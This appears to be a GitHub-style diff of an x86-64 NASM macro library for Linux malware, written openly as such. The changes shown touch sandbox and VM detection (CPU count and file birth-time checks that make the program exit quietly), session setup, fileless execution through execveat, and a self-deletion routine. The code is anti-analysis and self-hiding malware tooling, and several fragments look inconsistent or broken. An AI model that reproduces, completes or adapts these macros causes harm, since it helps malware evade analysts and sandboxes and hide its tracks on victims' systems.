|
336 | 336 | ; |
337 | 337 | ; Converts an IP address in 'source_ip' register (RAX by default) to hexadecimal |
338 | 338 | ; Returns -i in RAX if errors occurred |
339 | | -%macro ip2hex 1 |
340 | | - push rax |
| 339 | +%macro ip2hex 0-1 rax |
| 340 | + push %1 |
341 | 341 | pop rsi |
342 | 342 | strlen |
343 | 343 | push rax |
|
363 | 363 | push "." |
364 | 364 | pop al |
365 | 365 | cld |
366 | | - repne scasb |
| 366 | + repne scasb |
367 | 367 | push rcx |
368 | 368 | pop rbx |
369 | 369 | neg rbx |
|
531 | 531 | ; Default trigger for positive detection is 2 cores (or less) |
532 | 532 | ; Returns 1 in RAX if VM was detected; 0 otherwise |
533 | 533 | ;%macro vm_cpu 0-1 2 |
534 | | -; run "" |
| 534 | +; run " " |
535 | 535 | ; file_open ".numcpu" |
536 | 536 | ; push rax |
537 | 537 | ; pop rdi |
|
554 | 554 | ; |
555 | 555 | ; My implementation of @elfmaster's VM detection as seen in Linux.Retaliation |
556 | 556 | ; Checks for abnormally small interval between current Epoch stamp |
557 | | -; and 'stx_btime' field of a file created when the host was set up |
| 557 | +; and 'st_btime' field of a file created when the host was set up |
558 | 558 | ; Such approach might trigger false positives if tested file was modified after the OS deployment |
559 | | -%macro vm_age 0-1 "/etc/hostname" |
560 | | - save_regs r9, r10 |
561 | | - push SYS_STATX |
| 559 | +%macro vm_age 0-3 1,HOURS,"/etc/hostname" |
| 560 | + push 332 |
562 | 561 | pop rax |
563 | 562 | xor rdi, rdi |
564 | 563 | init_string rsi, %1 |
565 | 564 | reserve_stack_bytes_rel STATX_size, r8 |
566 | 565 | syscall |
567 | | - mov r9, [r8+STATX.stx_btime_seconds] |
| 566 | + mov r9, [r8+STATX.st_btime] |
568 | 567 | time_get |
569 | 568 | sub rcx, r8 |
570 | 569 | interval_to_seconds r10,%2,%3 |
571 | | - restore_regs r9, r10 |
| 570 | + cmp rcx, r10 |
| 571 | + jle %%cont |
| 572 | + exit 0 |
| 573 | + %%cont: |
572 | 574 | %endmacro |
573 | 575 |
|
574 | 576 | ; Args -> None |
|
594 | 596 |
|
595 | 597 | ; ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ [ = 0x04 = ] ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |
596 | 598 |
|
| 599 | +; Args -> [destination] (register), multiplier (int), interval (unit) |
| 600 | +; |
| 601 | +; Converts a given interval to seconds and stores it |
| 602 | +%macro interval_to_seconds 0-3 rcx,1,HOURS |
| 603 | + push %2 |
| 604 | + pop rax |
| 605 | + push %3 |
| 606 | + pop rdx |
| 607 | + mul rdx |
| 608 | + push rax |
| 609 | + pop %1 ; Seconds are returned in the destination register |
| 610 | +%endmacro |
| 611 | + |
597 | 612 | ; Args -> syscall_number (int) |
598 | 613 | ; |
599 | 614 | ; Initiate the RAX register with system call number specified in %1 using non-standard instruction set |
|
621 | 636 | ; 0 if number of seconds equals the specified time unit |
622 | 637 | ; -1 if seconds < (multiplier*interval) |
623 | 638 | ; 1 if seconds > (multiplier*interval) |
624 | | -%macro time_compare |
| 639 | +%macro time_compare 3 |
625 | 640 | save_regs r8 |
626 | 641 | %%init_seconds_in_r8: |
627 | 642 | interval_to_seconds r8,%2,%3 |
|
802 | 817 | pop rax |
803 | 818 | syscall |
804 | 819 | cmp rax, 1 |
805 | | - je %sid_already_set |
| 820 | + je %%sid_already_set |
806 | 821 | exit 0 |
807 | 822 | %%sid_already_set: |
808 | 823 | %endmacro |
|
1605 | 1620 | xor r10, r10 |
1606 | 1621 | push SYS_EXECVEAT |
1607 | 1622 | pop rax |
1608 | | - push "" |
| 1623 | + push " " |
1609 | 1624 | pop rsi |
1610 | 1625 | push AT_EMPTY_PATH |
1611 | 1626 | pop r8 |
@@ -1777,13 +1792,13 @@ phdrsize equ $ - phdr |
1777 | 1792 | ; The only argument is optional and should be a register |
1778 | 1793 | ; It has to contain the name of the binary |
1779 | 1794 | ; This macro can be invoked without any arguments - it will load *argv0 from [rsp+8] address |
1780 | | -%macro remove_self 0-1 0xffffffff |
| 1795 | +%macro remove_self 0-1 TRUE |
1781 | 1796 | push SYS_OPEN |
1782 | 1797 | pop rax |
1783 | 1798 | push %1 |
1784 | 1799 | pop r13 |
1785 | | - cmp r13, 0xffffffff |
1786 | | - je %%load_argv0_from_stack: |
| 1800 | + cmp r13, TRUE |
| 1801 | + je %%load_argv0_from_stack |
1787 | 1802 | push %1 |
1788 | 1803 | pop rdi |
1789 | 1804 | jmp %%read |
|
0 commit comments